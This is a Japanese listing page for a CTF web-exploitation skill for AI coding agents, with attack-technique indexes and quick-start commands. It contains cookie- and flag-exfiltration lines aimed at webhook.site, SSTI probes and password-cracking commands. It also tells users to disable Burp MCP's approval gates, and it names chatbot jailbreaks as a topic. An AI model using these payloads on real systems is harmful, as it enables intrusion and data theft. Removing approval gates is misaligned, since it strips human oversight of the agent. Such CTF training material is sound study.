mcpField
C
ctf-web

ctf-web

github.com/ljagielloセキュリティ3.6k9.8k 回インストール2 日前に更新
リポジトリ

ctf-web について

セキュリティ担当者向けの CTF Web 攻撃スキルです。手法を選ぶ前にアプリと信頼境界を整理する流れを軸に、代表的な Web 脆弱性の手引きと任意の MCP ワークフローをまとめています。

主な機能

  1. 01アプリの初期偵察手順
  2. 02サーバー・クライアント側の攻撃ノート
  3. 03認証とアクセス制御の手引き
  4. 04ペイロードのリファレンスとツール
  5. 05MCP 連携の説明

活用シーン

  1. 01テスト前にルートと信頼境界を把握
  2. 02SQL インジェクションや SSRF の調査
  3. 03ブラウザー依存の問題の検証
  4. 04問題の手掛かりから手法を選択

MCP 対応

ブラウザー依存の問題向け Playwright MCP と、HTTP レベルの作業向け Burp Suite MCP を任意の連携として説明し、設定上の注意点とツールごとの制約も記載しています。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/ljagiello/ctf-skills --skill ctf-web

インストール後、Claude Code で/ctf-webを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

auth-and-access-2.md
auth-and-access.md
auth-infra.md
auth-jwt.md
client-side-advanced.md
client-side.md
cves.md
field-notes.md
node-and-prototype.md
pat-reference.md
python-requests.md
server-side-2.md
server-side-advanced-2.md
server-side-advanced-3.md
server-side-advanced-4.md
server-side-advanced.md
server-side-deser.md
server-side-exec-2.md
server-side-exec.md
server-side.md
sql-injection.md
tools-mcp.md
web3.md
scripts/
async_fuzz.py

詳細

CTF Web 悪用

Web 関連の比重が大きい課題で、このスキルをルーティングと実行のガイドとして使用してください。最初の確認は手短に済ませます。アプリの構成を把握し、信頼境界を確認してから、詳細な手法の解説に進んでください。

前提条件

Python パッケージ(全プラットフォーム):

pip install sqlmap flask-unsign requests httpx

Linux(apt):

apt install hashcat jq curl

macOS(Homebrew):

brew install hashcat jq curl

Go ツール(全プラットフォーム、Go が必要):

go install github.com/ffuf/ffuf/v2@latest

手動インストール:

  • ysoserial — GitHub、Java が必要です(Java のデシリアライズ用ペイロード)
  • PayloadsAllTheThings — ctf-web/payloads/PayloadsAllTheThings に git clone します(インストールスクリプトで自動実行、または必要に応じて遅延クローン)
    bash scripts/install_ctf_tools.sh pat   # PAT only
    bash scripts/install_ctf_tools.sh all   # all tools including PAT
    # manual fallback:
    git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings
    

    PAT は任意で、必要に応じて使用します。読み込み時に必須ではありません。このスキルは PAT がなくても動作します(適切に機能を縮退します)。pat-reference.md にはペイロードの代表例を含むオフラインインデックスがあり、大規模なワードリストには上記のクローンが必要です。

MCP サーバー(任意): ブラウザーに依存する課題(DOM XSS、管理者ボット、SPA クライアントシークレット)には Playwright MCP(microsoft/playwright-mcp)、ワイヤーレベルの作業(ヘッダーレベルの HTTP/1.1+HTTP/2 制御、リクエストスマグリング、Collaborator 経由のブラインド SSRF/XXE、プロキシ履歴の正規表現による分析)には Burp Suite MCP(PortSwigger/mcp-server)を使用します。tools-mcp.md を参照してください。Burp MCP に頼る前に、次の 2 点を行ってください。エージェントを起動する前に Burp を起動し、Burp の MCP タブで 2 つの承認ゲートをオフにしてください。そうしないと、最初のツール呼び出しがモーダルダイアログでブロックされます。

追加リソース

  • sql-injection.md - SQL インジェクションの手法:認証バイパス、UNION による抽出、フィルターバイパス、二次 SQLi、切り詰め、競合状態を利用した漏えい、INSERT ON DUPLICATE KEY UPDATE によるパスワード上書き、innodb_table_stats による WAF バイパス
  • server-side.md - PHP の型ジャグリング、php://filter による LFI、Python str.format のトラバーサル、SSTI(Jinja2、Twig、ERB、Mako、EJS、Vue.js、Smarty)、SSRF(Host ヘッダー、DNS リバインディング、curl リダイレクト、エスケープされていないドットを含む正規表現、SNI FTP スマグリング、mod_vhost_alias)、PHP hash_hmac の NULL
  • server-side-2.md - XXE(基本、OOB、DOCX アップロード)、X-Forwarded-For 経由の XML インジェクション、PHP の可変変数、予測可能なファイル名を生成する PHP uniqid、正規表現の逐次置換バイパス、コマンドインジェクション(改行、ブロックリスト、sendmail CGI、複数バーコード、git CLI)、GraphQL インジェクション(イントロスペクション、バッチ処理、補間)
  • server-side-exec.md - 直接的なコード実行経路、アップロードから RCE への誘導、デシリアライズに隣接する実行、LaTeX インジェクション、ヘッダーと API の悪用
  • server-side-exec-2.md - その他の実行チェーン:SQLi の断片化、パスパーサーのトリック、ポリグロットアップロード、ラッパーの悪用、ファイル名インジェクション、ファイル名の切り詰めを利用した BMP ピクセル Web シェル
  • server-side-deser.md - Java/Python/PHP のデシリアライズと競合状態の攻略手順、デシリアライズ経由の PHP SoapClient CRLF SSRF
  • server-side-advanced.md - 高度な SSRF、トラバーサル、アーカイブ、パーサー、フレームワーク、最新のアプリケーションサーバーに関する問題、Nginx alias トラバーサル
  • server-side-advanced-2.md - Docker API SSRF、Castor/XML、Apache 式による読み取り、パーサーの不一致、Windows パスのトリック、不正な MySQL サーバーによるファイル読み取り
  • server-side-advanced-3.md - パート 3(CSAW/35C3/ASIS/PlaidCTF 2018):WAV ポリグロットアップロード、複数スラッシュ URL による path.startswith バイパス、Xalan XSLT math:random() のシード推測、SoapClient _user_agent CRLF メソッドスマグリング、ホストなし URL スキームによる gopher:/// バイパス、攻撃者指定の送信先 URL を介した SSRF 認証情報の漏えい
  • server-side-advanced-4.md - パート 4:WeasyPrint SSRF/ファイル読み取り(CVE-2024-28184)、MongoDB 正規表現/$where のブラインドオラクル、Pongo2 Go テンプレートインジェクション、ZIP PHP Web シェル、basename() バイパス、wget CRLF SSRF→SMTP、Gopher SSRF から MySQL ブラインド SQLi への誘導、React Server Components Flight RCE(CVE-2025-55182)、sslsplit+arpspoof による AMQP/TLS の傍受、CairoSVG XXE、Bazaar リポジトリの再構築
  • client-side.md - XSS、CSRF、キャッシュポイズニング、DOM のトリック、管理者ボットの悪用、リクエストスマグリング、ペイウォールのバイパス
  • client-side-advanced.md - CSP バイパス、Unicode のトリック、XSSI、CSS による情報流出、ブラウザーの正規化に関する癖、postMessage の null オリジンバイパス
  • auth-and-access.md - 認証/認可のバイパス、隠しエンドポイント、IDOR、リダイレクトチェーン、サブドメインの乗っ取り、AI チャットボットのジェイルブレイク
  • auth-and-access-2.md - パート 2(2018 年頃):std::unordered_set のバケット衝突による認証バイパス、nodeprep.prepare の Unicode ホモグラフによるユーザー名衝突、SRP A=0/A=N 認証バイパス、ArangoDB AQL MERGE による権限昇格
  • auth-jwt.md - JWT/JWE の操作、弱いシークレット、ヘッダーインジェクション、鍵の混同、リプレイ
  • auth-infra.md - OAuth/OIDC、SAML、CORS、CI/CD シークレット、IdP の悪用、ログインポイズニング
  • node-and-prototype.md - プロトタイプ汚染、JS サンドボックス脱出、Node.js 攻撃チェーン
  • web3.md - Solidity と Web3 の課題に関するメモ
  • cves.md - 課題のバナー、ヘッダー、依存関係の漏えい、バージョン文字列と照合できる、CVE を起点とした手法
  • field-notes.md - 詳細なエクスプロイトメモ:SQLi、XSS、LFI、JWT、SSTI、SSRF、コマンドインジェクション、XXE、デシリアライズ、競合状態、認証バイパス、複数段階のチェーンに関するクイックリファレンス
  • tools-mcp.md - Web 向け MCP サーバー統合:Playwright MCP(管理者ボットの DOM XSS 再現、ライブ DOM/コンソール/ネットワークの検査、browser_network_requests はエンドポイントの一覧を返しますが、ペイロードを返すのは browser_network_request part="response-body" のみ)と Burp Suite 公式 MCP(27 個のツール、モーダルダイアログによる承認ゲートでエージェントが停止、ソケットと Host: ヘッダーを切り離すターゲットの 3 要素、リクエストのプリアンブルにある CR/LF を書き換える normalizeHttpContent、重複ヘッダーを表現できないマップベースの HTTP/2、ステージのみの send_to_intruder、アイテムを 5000 文字で切り詰めるプロキシ履歴、Pro 限定の Collaborator payloadId/customData);curl や ffuf と比べた使い分け
  • python-requests.md - Python requests ツールキット:セッションのひな形、Burp Intruder に似たファザー(同期+ThreadPoolExecutor+httpx 非同期)、pat-reference.md のワードリストからのペイロード配置、ヘッダー/パラメーターへのスプレー、Cookie/JWT、プロキシ
  • pat-reference.md — PayloadsAllTheThings のインデックス:XSS/SQLi/SSRF/SSTI/LFI/コマンドインジェクション/アップロード向けのペイロード集(PAT のクローンが必要です。「前提条件」を参照)

方針を切り替えるタイミング

  • 標的がネイティブバイナリ、カスタム VM、またはファームウェアイメージの場合は、まず /ctf-reverse に切り替えてください。
  • HTTP の脆弱性でコード実行が可能になり、メモリ破壊や seccomp の回避が難題になった場合は、/ctf-pwn に切り替えてください。
  • 「Web」チャレンジの核心が JWT の計算、カスタム MAC、または暗号プリミティブにある場合は、/ctf-crypto に切り替えてください。
  • Web チャレンジでログ、PCAP の分析、または Web サーバーからのアーティファクト復元が必要な場合は、/ctf-forensics に切り替えてください。
  • 悪用の前に、公開 Web ソース、DNS レコード、またはソーシャルメディアから情報を収集する必要がある場合は、/ctf-osint に切り替えてください。

類似の解説を探す

行き詰まった場合や、同様の Web チャレンジを他の人がどのように解決したか確認したい場合は、ctf-similar-search スキルの方法に従い、チャレンジ名、競技名、またはチャレンジに含まれる固有の文字列(コードスニペット、エラーメッセージ)を使って、自然な言葉で検索リクエストを記述してください。

「DASCTF URL Storage」 「def encrypt_flag(key)」

これにより、Tavily API 経由で参考になる解説を検索でき、適切な攻撃経路の特定に役立ちます。「SSRF」や「XSS」のような一般的な用語は避け、チャレンジ固有の識別情報を使ってください。

最初に行うワークフロー

  1. 実際の境界を特定します。ブラウザーのみ、バックエンドのみ、混在したアプリ、または認証フローのどれでしょうか。
  2. ファジングを始める前に、主要な機能ごとに通常のリクエストとレスポンスを 1 組ずつ記録します。
  3. JS バンドル、レスポンスヘッダー、ルート、代替メソッドから隠れた機能を列挙します。
  4. 脆弱性の候補を分類します。インジェクション、認可、パーサー間の不一致、アップロード、信頼プロキシ、状態機械、またはクライアント側の実行です。
  5. まず最小限の証明を作ります。情報漏えい、回避、またはプリミティブです。エクスプロイトの全連鎖は後回しにします。
大量ペイロード(PayloadsAllTheThings — 必要に応じて)

このスキルは、読み込み時に PAT がなくても動作します(縮退運転)。pat-reference.md とインラインの例はオフラインで利用できます。大量のペイロードを使うには PAT のクローンが必要です。信頼境界を把握した後(最初に行うワークフロー)、pat-reference.md で脆弱性クラスに該当する PAT ディレクトリを確認し、大量のペイロードを検索してください。

# PAT payload search (requires PAT clone — see Prerequisites; gracefully skipped if missing)
ls ctf-web/payloads/PayloadsAllTheThings 2>/dev/null | head
grep -R "onerror" "ctf-web/payloads/PayloadsAllTheThings/XSS Injection" 2>/dev/null | head

または、エージェントツールを使う方法もあります(インデックス自体のクローンは不要です)。

Glob ctf-web/payloads/PayloadsAllTheThings/**/*.md
Grep "union select" ctf-web/payloads/PayloadsAllTheThings

ctf-web/payloads/PayloadsAllTheThings/.git が見つからない場合、エージェントは必要に応じて遅延クローンを実行します。

[ -d "ctf-web/payloads/PayloadsAllTheThings/.git" ] || git clone --depth 1 https://github.com/swisskyrepo/PayloadsAllTheThings.git ctf-web/payloads/PayloadsAllTheThings

クイックスタートコマンド

# Recon
curl -sI https://target.com
ffuf -u https://target.com/FUZZ -w wordlist.txt
curl -s https://target.com/robots.txt

# SQLi quick test
sqlmap -u "https://target.com/page?id=1" --batch --dbs

# JWT decode (no verification)
echo '<token>' | cut -d. -f2 | base64 -d 2>/dev/null | jq .

# Cookie decode (Flask)
flask-unsign --decode --cookie '<cookie>'
flask-unsign --unsign --cookie '<cookie>' --wordlist rockyou.txt

# SSTI probes
curl "https://target.com/page?name={{7*7}}"
curl "https://target.com/page?name={{config}}"

# Request inspection
curl -v -X POST https://target.com/api -H "Content-Type: application/json" -d '{}'

ログインの総当たり — 厳守事項

チャレンジでログインフォームへの総当たりが必要な場合は、以下のルールに必ず従ってください。独自の判断で変更しないでください。

  1. ユーザー名は必ず admin です。 ユーザー名を列挙しないでください。ユーザー名のリストを作成しないでください。チャレンジに「弱口令」(弱いパスワード)や「常用用户名」(よく使われるユーザー名)と書かれていても、そのヒントが示すのはパスワードです。標的のアカウントは引き続き admin です。チャレンジに特定の別の文字列(例:「ユーザー名は root」)が示されている場合に限り、別のユーザー名を使用してください。

  2. パスワードファイルには、Kali に既存のワードリストを必ず使用してください。 デフォルトは /usr/share/wordlists/metasploit/burnett_top_1024.txt です。独自のパスワードファイルを作成しないでください。cat > passwords.txt の使用、コードへのパスワードリストのハードコード、ローカルの Top1000.txt の読み込みは禁止です。スクリプトは、Kali のワードリストファイルから直接行を読み込む必要があります。

複雑なケース(CSRF トークン、フロントエンドの暗号化、JSON API、Basic Auth、スレッド処理)については、auth-and-access.md のリファレンススクリプトを参照してください。ただし、これらのスクリプトも上記の 2 つのルールに従う必要があります。

最初に答えるべき質問

  • フラグはブラウザー、API レスポンス、ローカルファイル、データベースの行、または内部サービスのどこにある可能性が高いですか。
  • アプリは、テンプレート、リダイレクト、ファイルパス、ヘッダー、シリアライズされたオブジェクト、またはバックグラウンドジョブに含まれるユーザー制御データを信頼していますか。
  • 複数のパーサー間で解釈の不一致はありますか。プロキシとアプリ、URL パーサーとフェッチャー、サニタイザーとブラウザー、シリアライザーとフィルターの間などです。
  • まず脆弱性をより小さなプリミティブに変換できますか。ファイルを 1 つ読む、トークンを 1 つ偽造する、内部エンドポイントを 1 つ呼び出す、またはボットの訪問を 1 回発生させる、などですか。

価値の高い偵察チェック項目

  • API の仕様を推測する前に、HTML、インラインスクリプト、バンドルされた JS を読みます。
  • UI が送信する内容とバックエンドが受け付ける内容を比較します。任意の JSON フィールドによって、隠れた経路が有効になることがよくあります。
  • まずは、よくあるメタデータやヘルパーパスを確認します:/robots.txt、/sitemap.xml、/.well-known/、/admin、/debug、/.git/、/.env。
  • 興味深いルートでは、別のメソッドやコンテンツタイプを試します:GET、POST、PUT、PATCH、TRACE、JSON、フォーム、マルチパート、XML。
  • ファイルアップロード、PDF/エクスポート、Webhook、OAuth コールバック、管理者ボットの機能は、攻撃の効果を増幅させる可能性が高いものとして扱います。

すばやく確認するパターンマップ

  • SQL エラー、奇妙なフィルタリング、または状態に依存する DB の挙動がある場合:sql-injection.mdから始めます。
  • テンプレート処理、ファイル読み取り、SSRF、コマンド実行、XML、またはパーサーのバグがある場合:server-side.mdとserver-side-exec.mdから始めます。
  • XSS、CSP バイパス、管理者ボット、クライアント側ルーティング、DOM の問題、またはスクリプトを使わない情報流出がある場合:client-side.mdから始めます。
  • セッション偽造、隠れた管理者ルート、JWT、OAuth、SAML、または信頼境界の弱さがある場合:auth-and-access.md、auth-jwt.md、auth-infra.mdから始めます。
  • Node.js アプリ、プロトタイプ汚染、VM サンドボックス、または内部サービスへの SSRF がある場合:node-and-prototype.mdを追加します。
  • スマートコントラクトのフロントエンド、またはブロックチェーンと連携するアプリの場合:web3.mdを追加します。

よくある攻撃チェーンの形

  • 偵察 -> 隠れたルート -> 認証バイパス -> 内部ファイル読み取り -> トークンまたはフラグ
  • XSS または HTML インジェクション -> 管理者ボット -> 特権操作 -> シークレット漏えい
  • パストラバーサルまたはアップロード -> 設定/ソース漏えい -> シークレット復元 -> セッション偽造
  • SSRF -> メタデータまたは内部 API -> 認証情報漏えい -> コード実行
  • SQLi または NoSQL インジェクション -> 認証情報のバイパス -> 第 2 段階のテンプレートまたはアップロードの悪用

Webhook コールバック(webhook.site)

コールバック URL が必要なエクスプロイト(XSS 管理者ボット、SSRF による情報流出、OAuth リダイレクトの悪用、帯域外データを使うブラインドインジェクションなど)では、webhook.siteを使って、受信リクエストをすぐに受け取り、確認します。

トークンを作成する(コールバック URL を取得する):

curl -X POST https://webhook.site/token
# Returns {"uuid": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx", ...}
# Your callback URL: https://webhook.site/<uuid>

エクスプロイトでコールバック URL を使う:

# XSS payload with webhook callback
curl -X POST https://target.com/api/report \
  -H "Content-Type: application/json" \
  -d '{"url": "https://webhook.site/<uuid>/steal?cookie=" + document.cookie}'

# SSRF exfiltration via webhook
curl "https://target.com/ssrf?url=https://webhook.site/<uuid>/?data=$(cat /flag.txt | base64)"

# OAuth redirect abuse
curl "https://target.com/auth?redirect=https://webhook.site/<uuid>/token"

最後に受信したリクエストを取得する:

curl "https://webhook.site/token/<uuid>/request/latest/raw" \
  -H "accept: application/json" \
  -H "api-key: <uuid>"

webhook.site、Burp Collaborator、interactsh の使い分け:

  • webhook.site — 最も手早くセットアップでき、ブラウザーで確認できる UI があり、インストールも不要です。手早く CTF のコールバックを確認するのに最適です。
  • Burp Collaborator — Burp Suite をプロキシとして使用する場合のブラインド XSS/SSRF に適しています。
  • interactsh — 複雑な複数段階のエクスプロイトにおける OOB インタラクションの相関付けに適しています。

詳細な調査メモ

課題が実際に Web 中心であり、幅広いエクスプロイトのカタログが必要だと確認できたら、field-notes.mdを使います。

  • 偵察、SQLi、XSS、パストラバーサル、JWT、SSTI、SSRF、XXE、コマンドインジェクションのクイックメモ
  • デシリアライゼーション、競合状態、ファイルアップロードからの RCE、複数段階の攻撃チェーンの例
  • Node、OAuth/SAML、CI/CD、Web3、ボットの悪用、CSP バイパス、最新ブラウザーのテクニック
  • CVE を題材にしたプレイブックと、現在の CTF にも登場する古い課題のパターン

よくあるフラグの場所

  • ファイル:/flag.txt、/flag、/app/flag.txt、/home/*/flag*
  • 環境:/proc/self/environ、プロセスのコマンドライン、デバッグ設定のダンプ
  • データベース:flag、flags、secretという名前のテーブル、または初期登録された課題コンテンツ
  • HTTP:カスタムヘッダー、アーカイブされたレスポンス、隠れたルート、管理者向けエクスポート
  • ブラウザー:非表示の DOM ノード、data-*属性、インラインの状態オブジェクト、ソースマップ

コメント